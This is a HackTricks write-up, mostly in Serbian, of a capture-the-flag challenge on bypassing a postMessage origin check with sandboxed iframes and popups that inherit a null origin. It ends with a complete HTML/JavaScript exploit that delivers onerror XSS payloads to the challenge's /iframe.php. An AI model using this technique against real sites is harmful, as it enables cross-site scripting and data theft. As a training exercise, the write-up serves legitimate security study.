Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

U ovom izazovu koji su kreirali NDevTK i Terjanq potrebno je da iskoristite XSS u kodiranom

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Glavni problem je što glavna stranica koristi DomPurify za slanje data.body, tako da da biste poslali svoje vlastite html podatke toj funkciji, morate bypass e.origin !== window.origin.

Hajde da vidimo rešenje koje predlažu.

SOP bypass 1 (e.origin === null)

Kada je //example.org ugrađen u sandboxed iframe, tada će origin stranice biti null, tj. window.origin === null. Tako da samo ugrađivanjem iframe-a putem <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> možemo prisiliti null origin.

Ako je stranica bila embeddable, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na SameSite=None).

SOP bypass 2 (window.origin === null)

Manje poznata činjenica je da kada je sandbox vrednost allow-popups postavljena, tada će otvoreni popup naslediti sve sandboxed atribute osim ako allow-popups-to-escape-sandbox nije postavljen. Dakle, otvaranje popupa iz null origin će učiniti da window.origin unutar popupa takođe bude null.

Rešenje izazova

Stoga, za ovaj izazov, može se napraviti iframe, otvoriti popup na stranicu sa ranjivim XSS kodom (/iframe.php), pošto je window.origin === e.origin jer su oba null, moguće je poslati payload koji će iskoristiti XSS.

Taj payload će dobiti identifikator i poslati XSS nazad na glavnu stranicu (stranicu koja je otvorila popup), koja će promeniti lokaciju na ranjivi /iframe.php. Pošto je identifikator poznat, nije važno što uslov window.origin === e.origin nije ispunjen (zapamtite, origin je popup iz iframe-a koji ima origin null) jer data.identifier === identifier. Tada će se XSS ponovo aktivirati, ovaj put u ispravnom originu.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Podržite HackTricks

Last updated